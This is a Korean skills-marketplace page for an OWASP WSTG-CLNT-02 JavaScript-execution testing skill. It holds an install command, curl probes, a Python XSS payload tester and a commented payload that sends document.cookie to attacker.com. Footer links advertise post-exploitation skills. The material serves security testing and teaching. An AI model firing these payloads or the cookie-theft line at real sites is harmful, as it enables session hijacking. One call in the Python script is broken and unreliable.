Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-02명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
| name | wstg-clnt-02 |
| description | Testing for JavaScript Execution |
| category | client-side |
| owasp_id | WSTG-CLNT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-79"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-02
Testing for JavaScript Execution
This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.
# Test link href
curl -s "https://target.com/redirect?url=javascript:alert(1)"
# Test image src
curl -s "https://target.com/profile?avatar=javascript:alert(1)"
#!/usr/bin/env python3
import requests
def test_event_handlers(url, param):
payloads = [
'" onmouseover="alert(1)" x="',
"' onfocus='alert(1)' autofocus='",
'" onclick="alert(1)" style="position:fixed;width:100%;height:100%" x="',
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
response = requests.get(url, params={param: payload})
if payload.split('=')[0] in response.text:
print(f"[POTENTIAL] Payload reflected: {payload[:40]}")
test_event_handlers(, )
// Check if user input reaches eval/Function
// Common patterns to look for in JS:
// Dangerous
eval(userInput)
new Function(userInput)()
setTimeout(userInput, 1000)
setInterval(userInput, 1000)
// Test payloads
// alert(1)
// 1+1
// fetch('https://attacker.com?'+document.cookie)
// Never use eval with user input
// AVOID: eval(userInput)
// Use safe alternatives
JSON.parse(jsonString) // For JSON parsing
// For dynamic function calls, use allowlist
const allowedFunctions = { sum: (a, b) => a + b }
if (allowedFunctions[functionName]) {
allowedFunctions[functionName](args)
}
| Finding | CVSS | Severity |
|---|---|---|
| javascript: URI execution | 6.1 | Medium |
| Event handler injection | 6.1 | Medium |
| eval() with user input | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-95 | Improper Neutralization of Directives in Dynamically Evaluated Code |
[ ] javascript: URI tested
[ ] Event handlers tested
[ ] eval() usage analyzed
[ ] Template literals checked
[ ] Findings documented
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 직업 분류 기준